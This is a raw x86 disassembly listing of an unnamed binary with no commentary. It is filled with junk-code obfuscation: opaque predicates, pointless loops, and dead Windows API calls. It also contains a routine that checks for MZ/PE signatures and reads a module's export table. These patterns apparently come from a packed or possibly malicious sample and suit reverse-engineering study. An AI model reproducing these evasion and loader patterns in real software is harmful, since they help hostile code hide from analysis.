cmp eax, dword [ebp - 0x998]
jle 0x1001a0ad
mov dword [ebp - 0x790], 1
jmp 0x1001a0b4
and dword [ebp - 0x790], 0
cmp dword [ebp - 0x790], 0
je 0x1001a0cd
push 4
pop eax
test eax, eax
jne 0x1001a0cd
and dword [ebp - 0xaa0], 0
jmp 0x1001a0d7
mov dword [ebp - 0xaa0], 1
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0xaa0], eax
jge 0x1001a0f7
mov eax, 0x5ebd
test eax, eax
je 0x1001a0f7
mov dword [ebp - 0x798], 1
jmp 0x1001a0fe
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x798], eax
jle 0x1001a110
cmp dword [ebp - 0x154], 0
mov eax, dword [ebp - 0x154]
sub eax, dword [ebp - 0x154]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x12f4], eax
mov eax, dword [ebp - 0x480]
cmp eax, dword [ebp - 0x50]
jg 0x1001a13f
mov dword [ebp - 0x9a0], 1
jmp 0x1001a146
and dword [ebp - 0x9a0], 0
mov eax, dword [ebp - 0x9a0]
mov dword [ebp - 0xdd8], eax
jmp 0x10019fdd
mov dword [ebp - 0x154], 0xfffffff9
jmp 0x1001a170
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xa
jne 0x1001a26a
mov dword [ebp - 0x3b4], 0
jmp 0x1001a196
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 3
jge 0x1001a1b2
mov eax, dword [ebp - 0x3b4]
mov dword [ebp + eax*4 - 0x12e8], 0x6c8c5cec
jmp 0x1001a189
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp + eax - 0x12e8]
jge 0x1001a1d6
cmp dword [ebp - 0x50], 0
je 0x1001a1d6
mov dword [ebp - 0x7a0], 1
jmp 0x1001a1dd
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0xb80], eax
mov eax, dword [ebp - 0xb80]
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 0xffffffff
jne 0x1001a20a
mov dword [ebp - 0x9a8], 1
jmp 0x1001a211
and dword [ebp - 0x9a8], 0
cmp dword [ebp - 0x9a8], 0xfffffffa
je 0x1001a226
mov dword [ebp - 0x7b0], 1
jmp 0x1001a22d
and dword [ebp - 0x7b0], 0
imul esi, dword [ebp - 0x7b0], 3
push 0
lea ecx, [ebp - 0xf04]
call fcn.1002273f
sub esi, dword [eax]
mov dword [ebp - 0xca0], esi
mov byte [ebp - 0x165], 0
movzx eax, byte [ebp - 0x165]
test eax, eax
je 0x1001a265
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
jmp 0x1001a163
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf04]
call fcn.1002271a
jmp 0x10019f2f
and dword [ebp - 0x1f8], 0
jmp 0x100192fb
mov dword [ebp - 0x10c], 0xffffffff
mov dword [ebp - 0xf7c], 0x60f951fe
mov dword [ebp - 0xf78], 0x60f951fe
mov dword [ebp - 0xf74], 0x60f951fe
mov dword [ebp - 0xf70], 0x60f951fe
lea ecx, [ebp - 0x461]
call fcn.100227a1
push eax
lea eax, [ebp - 0xf6c]
push eax
lea eax, [ebp - 0xf7c]
push eax
lea ecx, [ebp - 0x12fc]
call fcn.100227a4
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x11b4]
call fcn.100226f4
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x10c], 0
jmp 0x1001a311
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xfffffff4
jge 0x1001a334
mov byte [ebp - 0x1ab], 0
movzx eax, byte [ebp - 0x1ab]
test eax, eax
je 0x1001a332
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
jmp 0x1001a304
mov dword [ebp - 0x10c], 0
jmp 0x1001a34d
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jg 0x1001a39d
mov dword [ebp - 0x200], 1
mov dword [ebp - 0x200], 0
jmp 0x1001a379
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 4
jge 0x1001a39b
push dword [ebp - 0x200]
lea ecx, [ebp - 0x11b4]
call fcn.1002273f
mov dword [eax], 0xf14c90d2
jmp 0x1001a36c
jmp 0x1001a340
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11b4]
call fcn.1002271a
xor eax, eax
inc eax
imul eax, eax, 0xe
mov byte [ebp + eax - 0xc08], 0
lea eax, [ebp - 0xc08]
push eax
lea ecx, [ebp - 0x13c8]
call fcn.100225f8
mov dword [ebp - 0xe6c], eax
mov eax, dword [ebp - 0xe6c]
mov dword [ebp - 0xca8], eax
mov dword [ebp - 4], 0x14
mov edx, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xca8]
call fcn.1000a6dd
mov dword [0x10c3610c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13c8]
call fcn.1002261b
and dword [ebp - 0x324], 0
jmp 0x1001a420
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0xf
jae 0x1001a4f4
push 3
lea ecx, [ebp - 0xfe0]
call fcn.10022698
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x3bc], 0x9be1d925
mov dword [ebp - 0x31c], 0
jmp 0x1001a464
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 3
jge 0x1001a486
push dword [ebp - 0x31c]
lea ecx, [ebp - 0xfe0]
call fcn.1002273f
mov dword [eax], 0x8261f9c2
jmp 0x1001a457
mov dword [ebp - 0x3bc], 0
jmp 0x1001a49f
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 2
jg 0x1001a4bf
mov dword [ebp - 0xde0], 0x4f2887cf
cmp dword [ebp - 0xde0], 0
je 0x1001a4bd
jmp 0x1001a4bf
jmp 0x1001a492
push 1
lea ecx, [ebp - 0xfe0]
call fcn.1002273f
mov dword [eax], 3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfe0]
call fcn.1002271a
mov eax, dword [ebp - 0x324]
mov byte [ebp + eax - 0xc08], 0
jmp 0x1001a413
mov dword [ebp - 0x1b8], 0xc213532f
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x15c], 0x92a4
mov dword [ebp - 0x3c4], 0
jmp 0x1001a528
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 3
jge 0x1001a544
mov eax, dword [ebp - 0x3c4]
mov dword [ebp + eax*4 - 0x11c4], 0xffffffff
jmp 0x1001a51b
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x1001a7f2
mov dword [ebp - 0x208], 0x73d2d672
mov dword [ebp - 0xb30], 0xfffffff7
mov dword [ebp - 0x4c], 0x1b
jmp 0x1001a57b
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffeb
jl 0x1001a7ed
mov dword [ebp - 0x7e8], 0xffffffff
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0xb30], eax
mov dword [ebp - 0x208], 0x19
jmp 0x1001a5b4
mov eax, dword [ebp - 0x208]
dec eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xe
jle 0x1001a7e8
mov dword [ebp - 0xe8c], 1
mov dword [ebp - 0x32c], 0
jmp 0x1001a5e4
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 2
jge 0x1001a600
mov eax, dword [ebp - 0x32c]
mov dword [ebp + eax*4 - 0xbac], 0xcc3
jmp 0x1001a5d7
cmp dword [ebp - 0x1b8], 0
je 0x1001a6e7
cmp dword [ebp - 0x1b8], 0
jne 0x1001a622
mov dword [ebp - 0x7d0], 1
jmp 0x1001a629
and dword [ebp - 0x7d0], 0
cmp dword [ebp - 0x4c], 1
jle 0x1001a63b
mov dword [ebp - 0x7b8], 1
jmp 0x1001a642
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0x7b8]
sub eax, 0x2b5868bc
cmp eax, dword [ebp - 0x4c]
jge 0x1001a65e
mov dword [ebp - 0x9b0], 1
jmp 0x1001a665
and dword [ebp - 0x9b0], 0
cmp dword [ebp - 0x9b0], 0x34cc
jle 0x1001a67d
mov dword [ebp - 0x7c0], 1
jmp 0x1001a684
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x1b8]
cmp dword [ebp - 0x7c0], eax
jl 0x1001a69e
mov dword [ebp - 0x7c8], 1
jmp 0x1001a6a5
and dword [ebp - 0x7c8], 0
mov eax, dword [ebp - 0xb30]
cmp eax, dword [ebp - 0x7c8]
jge 0x1001a6bf
mov dword [ebp - 0x9b8], 1
jmp 0x1001a6c6
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x7e8]
imul eax, dword [ebp - 0x9b8]
cmp dword [ebp - 0x7d0], eax
jle 0x1001a6e7
mov dword [ebp - 0xab0], 1
jmp 0x1001a6ee
and dword [ebp - 0xab0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbac]
cmp dword [ebp - 0xab0], eax
je 0x1001a715
cmp dword [ebp - 0x1b8], 0
jne 0x1001a715
and dword [ebp - 0xcb0], 0
jmp 0x1001a71f
mov dword [ebp - 0xcb0], 1
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1230], eax
mov eax, 0xe8ef3352
cmp eax, 0x945ad33d
je 0x1001a743
mov dword [ebp - 0x7d8], 1
jmp 0x1001a74a
and dword [ebp - 0x7d8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbac]
cmp dword [ebp - 0x7d8], eax
jle 0x1001a76b
mov dword [ebp - 0x9c0], 1
jmp 0x1001a772
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x9c0], eax
jge 0x1001a789
mov dword [ebp - 0x7e0], 1
jmp 0x1001a790
and dword [ebp - 0x7e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbac]
cmp dword [ebp - 0x7e0], eax
jg 0x1001a7b1
mov dword [ebp - 0xb60], 1
jmp 0x1001a7b8
and dword [ebp - 0xb60], 0
mov eax, dword [ebp - 0xb60]
mov dword [ebp - 0xe8c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbac]
mov dword [ebp - 0x1238], eax
mov eax, dword [ebp - 0x7e8]
mov dword [ebp - 0x15c], eax
jmp 0x1001a5a7
jmp 0x1001a574
jmp 0x1001a915
mov dword [ebp - 0x450], 0x29656d29
mov dword [ebp - 0x800], 0xfffffffd
mov dword [ebp - 0xcb8], 0xfffffff7
mov dword [ebp - 0x15c], 0
jmp 0x1001a829
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jg 0x1001a84e
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp + eax*4 - 0x11c4]
mov ecx, dword [ebp - 0x15c]
mov dword [ebp + ecx*4 - 0x11c4], eax
jmp 0x1001a81c
cmp dword [ebp - 0x4c], 0xb1f0
jne 0x1001a863
mov dword [ebp - 0x9c8], 1
jmp 0x1001a86a
and dword [ebp - 0x9c8], 0
cmp dword [ebp - 0x9c8], 1
jg 0x1001a87f
mov dword [ebp - 0xab8], 1
jmp 0x1001a886
and dword [ebp - 0xab8], 0
cmp dword [ebp - 0x450], 0xffff7c42
jg 0x1001a89e
mov dword [ebp - 0x7f0], 1
jmp 0x1001a8a5
and dword [ebp - 0x7f0], 0
cmp dword [ebp - 0x7f0], 0x550032dc
jg 0x1001a8bd
mov dword [ebp - 0x7f8], 1
jmp 0x1001a8c4
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0xab8]
cmp eax, dword [ebp - 0x7f8]
jle 0x1001a8de
mov dword [ebp - 0x9d0], 1
jmp 0x1001a8e5
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0x9d0]
add eax, 0x9395830
mov dword [ebp - 0x800], eax
mov eax, dword [ebp - 0x800]
imul eax, dword [ebp - 0x450]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x450]
mov dword [ebp - 0xcb8], eax
mov eax, dword [0x10c36020]
cmp eax, dword [ebp - 0x2f0]
je 0x1001a933
mov eax, dword [0x10c3610c]
cmp eax, dword [ebp - 0x2f0]
jne 0x1001aa27
mov dword [ebp - 0xa0], 0
jmp 0x1001a94c
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1001a968
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x1048], 0xe0648261
jmp 0x1001a93f
mov dword [ebp - 0xa0], 0
jmp 0x1001a981
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1001a99d
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0xb08], 0xfffffffb
jmp 0x1001a974
mov byte [ebp - 0x16d], 0
movzx eax, byte [ebp - 0x16d]
test eax, eax
je 0x1001a9b7
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xb08], 0
jmp 0x1001a9e5
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb08]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xb08], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xb08], 2
jge 0x1001aa0f
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb08]
mov dword [ebp + eax*4 - 0x1048], 0xd925b0e4
jmp 0x1001a9ca
mov ecx, dword [ebp + 0xc]
call fcn.10022371
push eax
push dword [ebp + 8]
call fcn.1001117a
pop ecx
pop ecx
jmp 0x1001f98f
push 4
lea ecx, [ebp - 0xe2c]
call fcn.10022698
mov dword [ebp - 4], 0x16
mov dword [ebp - 0xc8], 0xffffffff
mov dword [ebp - 0x3cc], 0
jmp 0x1001aa5e
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 4
jge 0x1001aa80
push dword [ebp - 0x3cc]
lea ecx, [ebp - 0xe2c]
call fcn.1002273f
mov dword [eax], 0x7786
jmp 0x1001aa51
mov dword [ebp - 0xc8], 0
jmp 0x1001aa99
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jg 0x1001ac00
mov dword [ebp - 0x9d8], 3
mov dword [ebp - 0xde8], 0
mov dword [ebp - 0xcc0], 0x936be856
mov esi, dword [ebp - 0xc8]
push dword [ebp - 0xc8]
lea ecx, [ebp - 0xe2c]
call fcn.1002273f
cmp dword [eax], esi
jne 0x1001aaeb
mov dword [ebp - 0x818], 1
jmp 0x1001aaf2
and dword [ebp - 0x818], 0
push dword [ebp - 0xc8]
lea ecx, [ebp - 0xe2c]
call fcn.1002273f
cmp dword [eax], 0
jne 0x1001ab1a
cmp dword [ebp - 0xc8], 0
jne 0x1001ab1a
and dword [ebp - 0xb38], 0
jmp 0x1001ab24
mov dword [ebp - 0xb38], 1
mov eax, dword [ebp - 0xb38]
add eax, 0x10000
jne 0x1001ab43
mov eax, 0xfff9
test eax, eax
jne 0x1001ab43
and dword [ebp - 0x808], 0
jmp 0x1001ab4d
mov dword [ebp - 0x808], 1
cmp dword [ebp - 0x808], 0xc3dc
je 0x1001ab6b
cmp dword [ebp - 0xde8], 0
jne 0x1001ab6b
and dword [ebp - 0x810], 0
jmp 0x1001ab75
mov dword [ebp - 0x810], 1
push dword [ebp - 0xc8]
lea ecx, [ebp - 0xe2c]
call fcn.1002273f
mov eax, dword [eax]
mov dword [ebp - 0x9d8], eax
mov eax, dword [ebp - 0x9d8]
cmp eax, dword [ebp - 0x810]
jl 0x1001aba8
mov dword [ebp - 0xac0], 1
jmp 0x1001abaf
and dword [ebp - 0xac0], 0
cmp dword [ebp - 0xac0], 0x4f5ac3d6
jl 0x1001abc7
mov dword [ebp - 0x9e0], 1
jmp 0x1001abce
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x818]
cmp eax, dword [ebp - 0x9e0]
je 0x1001abe8
mov dword [ebp - 0x820], 1
jmp 0x1001abef
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x820]
mov dword [ebp - 0xcc0], eax
jmp 0x1001aa8c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe2c]
call fcn.1002271a
mov eax, dword [ebp + 8]
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xe74], 0x6b9c
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1240], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1248], eax
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x6c]
jg 0x1001ac4f
mov dword [ebp - 0xb78], 1
jmp 0x1001ac56
and dword [ebp - 0xb78], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0xb78], eax
jne 0x1001ac6d
mov dword [ebp - 0x828], 1
jmp 0x1001ac74
and dword [ebp - 0x828], 0
mov eax, 0x51ea
sub eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x828]
jne 0x1001ac90
mov dword [ebp - 0x9e8], 1
jmp 0x1001ac97
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x9e8], eax
jle 0x1001acae
mov dword [ebp - 0x830], 1
jmp 0x1001acb5
and dword [ebp - 0x830], 0
cmp dword [ebp - 0x830], 0x6916
jne 0x1001acd3
cmp dword [ebp - 0x6c], 0
je 0x1001acd3
mov dword [ebp - 0xac8], 1
jmp 0x1001acda
and dword [ebp - 0xac8], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0xac8], eax
jle 0x1001acf1
mov dword [ebp - 0x838], 1
jmp 0x1001acf8
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x838]
inc eax
inc eax
sub eax, dword [ebp - 0xe74]
je 0x1001ad2b
mov byte [ebp - 0x1a5], 0
movzx eax, byte [ebp - 0x1a5]
test eax, eax
je 0x1001ad29
push 0x772
call dword [sym.imp.GDI32.dll_RealizePalette]
jmp 0x1001ad3f
mov dword [ebp - 0xcc8], 0x81ec
mov dword [ebp - 0xcc8], 0xfffffffa
cmp dword [ebp - 0x334], 0
je 0x1001f2cd
mov eax, dword [ebp - 0x334]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001f2cd
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x334]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1e0], ecx
mov eax, dword [ebp - 0x1e0]
cmp dword [eax], 0x4550
jne 0x1001f2cd
mov eax, dword [ebp - 0x1e0]
cmp dword [eax + 0x74], 0
jbe 0x1001f2cd
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e0]
cmp dword [ecx + eax + 0x78], 0
je 0x1001f2cd
push 1
lea ecx, [ebp - 0x234]
call fcn.10022698
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x1d8], 0xcb4c23af
mov dword [ebp - 0xc0], 0xcda2ae7b
mov dword [ebp - 0xcd8], 0xffffffff
mov dword [ebp - 0xa8], 0
jmp 0x1001adf9
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x1001ae15
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0xbd0], 0xec2e0cf5
jmp 0x1001adec
mov dword [ebp - 0xa8], 0
jmp 0x1001ae2e
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x1001ae50
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov dword [eax], 0x730f94f3
jmp 0x1001ae21
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
and dword [eax], 0
jmp 0x1001ae86
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov dword [ebp - 0x9f0], eax
mov eax, dword [ebp - 0x9f0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x9f0]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
cmp dword [eax], 2
jg 0x1001b1f5
mov dword [ebp - 0xdf0], 0x2b82
mov dword [ebp - 0x1d8], 1
cmp dword [ebp - 0x1d8], 0
je 0x1001b053
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdf0]
cmp ecx, dword [ebp + eax*4 - 0xbd0]
jne 0x1001aee7
mov dword [ebp - 0x840], 1
jmp 0x1001aeee
and dword [ebp - 0x840], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xbd0]
cmp dword [ebp - 0x840], eax
jle 0x1001af18
mov dword [ebp - 0xb40], 1
jmp 0x1001af1f
and dword [ebp - 0xb40], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0xb40], eax
jle 0x1001af39
mov dword [ebp - 0x848], 1
jmp 0x1001af40
and dword [ebp - 0x848], 0
cmp dword [ebp - 0x848], 0x79cc099a
jl 0x1001af58
mov dword [ebp - 0x9f8], 1
jmp 0x1001af5f
and dword [ebp - 0x9f8], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xbd0]
add eax, dword [ebp - 0x9f8]
cmp eax, 2
jne 0x1001af8c
mov dword [ebp - 0xcd0], 1
jmp 0x1001af93
and dword [ebp - 0xcd0], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x1250], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x1258], eax
cmp dword [ebp - 0xc0], 0xfffffffc
jle 0x1001afc0
mov dword [ebp - 0x850], 1
jmp 0x1001afc7
and dword [ebp - 0x850], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xbd0]
cmp eax, dword [ebp - 0x850]
jle 0x1001aff1
mov dword [ebp - 0xad0], 1
jmp 0x1001aff8
and dword [ebp - 0xad0], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xbd0]
cmp dword [ebp - 0xad0], eax
je 0x1001b038
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xbd0], 0
jne 0x1001b038
and dword [ebp - 0x858], 0
jmp 0x1001b042
mov dword [ebp - 0x858], 1
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0x1d8], eax
jmp 0x1001b1ca
mov dword [ebp - 0xc0], 2
jmp 0x1001b06c
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x1001b1ca
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
cmp dword [eax], 0
je 0x1001b0ae
mov byte [ebp - 0x175], 0
movzx eax, byte [ebp - 0x175]
test eax, eax
je 0x1001b0a9
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
jmp 0x1001b1c5
mov byte [ebp - 0x19e], 0
movzx eax, byte [ebp - 0x19e]
test eax, eax
je 0x1001b0c8
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0xa00], 0x73cf
mov dword [ebp - 0xeac], 0x10007b5c
cmp dword [ebp - 0xa00], 0x7673
jle 0x1001b15f
and dword [ebp - 0x3d4], 0
jmp 0x1001b0fe
mov eax, dword [ebp - 0x3d4]
inc eax
mov dword [ebp - 0x3d4], eax
cmp dword [ebp - 0x3d4], 0x10e1
jge 0x1001b15f
and dword [ebp - 0x33c], 0
jmp 0x1001b120
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x6e2b
jge 0x1001b15d
mov eax, dword [ebp - 0x3d4]
xor eax, dword [ebp - 0x33c]
cdq
mov dword [ebp - 0xcf4], eax
mov dword [ebp - 0xcf0], edx
push dword [ebp - 0xcf0]
push dword [ebp - 0xcf4]
mov ecx, 0x10618e18
call fcn.1002244f
jmp 0x1001b113
jmp 0x1001b0f1
mov byte [ebp - 0x17d], 0
movzx eax, byte [ebp - 0x17d]
test eax, eax
je 0x1001b179
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0xa00], 0x739b
jge 0x1001b199
mov edx, dword [ebp - 0xeac]
mov ecx, 0x10618e18
call fcn.1002579c
jmp 0x1001b1b5
mov dword [ebp - 4], 0x17
jmp 0x1001b1c5
jmp 0x1001b05f
mov byte [ebp - 0x1a0], 0
movzx eax, byte [ebp - 0x1a0]
test eax, eax
je 0x1001b1f0
push 0
push 0x1470
push 0
push 0x14e0
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
jmp 0x1001ae62
mov esi, dword [ebp - 0xc0]
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
add esi, dword [eax]
jne 0x1001b21e
cmp dword [ebp - 0x1d8], 0
jne 0x1001b21e
and dword [ebp - 0x860], 0
jmp 0x1001b228
mov dword [ebp - 0x860], 1
mov eax, dword [ebp - 0xcd8]
cmp dword [ebp - 0x860], eax
jle 0x1001b242
mov dword [ebp - 0xb68], 1
jmp 0x1001b249
and dword [ebp - 0xb68], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov esi, eax
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov eax, dword [eax]
sub eax, dword [esi]
cmp dword [ebp - 0xb68], eax
jge 0x1001b27d
mov dword [ebp - 0x4b0], 1
jmp 0x1001b284
and dword [ebp - 0x4b0], 0
push 0
lea ecx, [ebp - 0x234]
call fcn.1002273f
mov ecx, dword [ebp - 0x4b0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x4b0], eax
jg 0x1001b2b3
mov dword [ebp - 0x868], 1
jmp 0x1001b2ba
and dword [ebp - 0x868], 0
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x1d8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x234]
call fcn.1002271a
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1bc], eax
push 4
lea ecx, [ebp - 0xe3c]
call fcn.10022698
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0xfc], 0
mov dword [ebp - 0xe4], 0x5dae5a6
mov dword [ebp - 0xa08], 0x403e
mov dword [ebp - 0xdf8], 0x10007b9c
cmp dword [ebp - 0xa08], 0x42be
jle 0x1001b39e
and dword [ebp - 0x3dc], 0
jmp 0x1001b33c
mov eax, dword [ebp - 0x3dc]
inc eax
mov dword [ebp - 0x3dc], eax
cmp dword [ebp - 0x3dc], 0x3d8a
jge 0x1001b39e
and dword [ebp - 0x344], 0
jmp 0x1001b35e
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x4ab1
jge 0x1001b39c
mov eax, dword [ebp - 0x3dc]
imul eax, dword [ebp - 0x344]
cdq
mov dword [ebp - 0xd00], eax
mov dword [ebp - 0xcfc], edx
push dword [ebp - 0xcfc]
push dword [ebp - 0xd00]
mov ecx, 0x10618e18
call fcn.1002244f
jmp 0x1001b351
jmp 0x1001b32f
mov dword [ebp - 0x890], 0x5b611fb8
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0xa08], 0x3e83
jge 0x1001b3c8
mov edx, dword [ebp - 0xdf8]
mov ecx, 0x10618e18
call fcn.1002579c
jmp 0x1001b3e4
mov dword [ebp - 4], 0x1a
jmp 0x1001b3f4
mov dword [ebp - 0x1260], 0x8c7fffaa
mov dword [ebp - 0x3e4], 0
jmp 0x1001b417
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 4
jge 0x1001b439
push dword [ebp - 0x3e4]
lea ecx, [ebp - 0xe3c]
call fcn.1002273f
mov dword [eax], 1
jmp 0x1001b40a
push 3
lea ecx, [ebp - 0xe3c]
call fcn.1002273f
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov esi, dword [ebp - 0xfc]
push 1
lea ecx, [ebp - 0xe3c]
call fcn.1002273f
push 8
pop ecx
sub ecx, dword [eax]
sub ecx, esi
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xfc], 0
jmp 0x1001b487
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
